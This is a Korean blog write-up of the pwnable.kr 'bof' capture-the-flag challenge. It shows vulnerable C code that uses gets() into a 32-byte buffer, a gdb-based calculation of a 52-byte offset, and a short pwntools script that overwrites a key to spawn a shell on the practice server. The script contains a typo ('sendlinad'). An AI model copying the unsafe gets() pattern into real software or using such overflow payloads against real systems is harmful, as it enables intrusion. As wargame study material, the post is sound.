물먹는산세베리아

[pwnable.kr] bof 본문

Waregame & CTF/Pwnable

[pwnable.kr] bof

suntall 2021. 5. 19. 23:27

문제

nc pwnable.kr 9000

https://pwnable.kr/play.php

 

https://pwnable.kr/play.php

 

pwnable.kr

 

풀이

일단 실행해서 아무거나 넣어봄

overflowme에 입력하면 될 거 같다.

 

bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 버퍼오버플로우 문제

func()에서 넘어온 key가 0xcafebabe와 일치하면 쉘이 따진다. 입력받는 곳이 gets()인데 여기에 비교할 값을 그냥 넣으면 안되고 key와 비교하는 거니까 key위치에 넣어지도록 추가적으로 더 입력해야한다. 

 

참고로 gets()는 개행문자나 파일의 끝을 만나기 전까지 계속 입력을 받을 수 있기 때문에 할당된 크기(ex. overflowme[32])를 넘어서 입력이 가능하다. 

 

메모리구조

입력받을 때 임의의 값을 추가로 넣어 key가 있는 곳까지 덮어버린 후 key가 있는 자리에는 비교값인 0xcafebabe를 넣어주면 된다. ->key값이 바뀜

 

그러면 얼마나 덮어야 할까? gdb로 까보자

call은 전부 함수가 호출된 곳이다. func()에 들어있는 printf(), gets(), system(), printf()함수를 확인할 수 있다.

eax는 산술연산레지스터 이므로 overflowme의 시작주소는 ebp-0x2c임을 알 수 있고, cmp는 비교명령어 이므로 ebp+0x8이 key의 위치임을 알 수 있다. 이 두 주소의 거리를 계산하면 얼마나 덮어야 하는지 나온다.

 

ebp+0x8 - (ebp -0x2c) = 8 + 44 = 52

 

아무 글자나 52만큼 넣어준 다음 0xcafebabe를 넣어주면 된다.

 

payload.py

from pwn import *

p = remote("pwnable.kr", 9000);

payload = "A"*52 + "\xbe\xba\xfe\xca"

p.sendlinad(payload)
p.interactive()

 

리틀엔디안 방식을 따르기 때문에 역순으로 넣어주어야 한다. cafebabe-> bebafeca

 

'Waregame & CTF > Pwnable' 카테고리의 다른 글

[dreamhack.io] basic_rop_x86  (0) 2021.05.26
ROP  (0) 2021.05.26
[dreamhack.io] basic_exploitation_001  (0) 2021.05.19
collision 문제  (0) 2021.05.05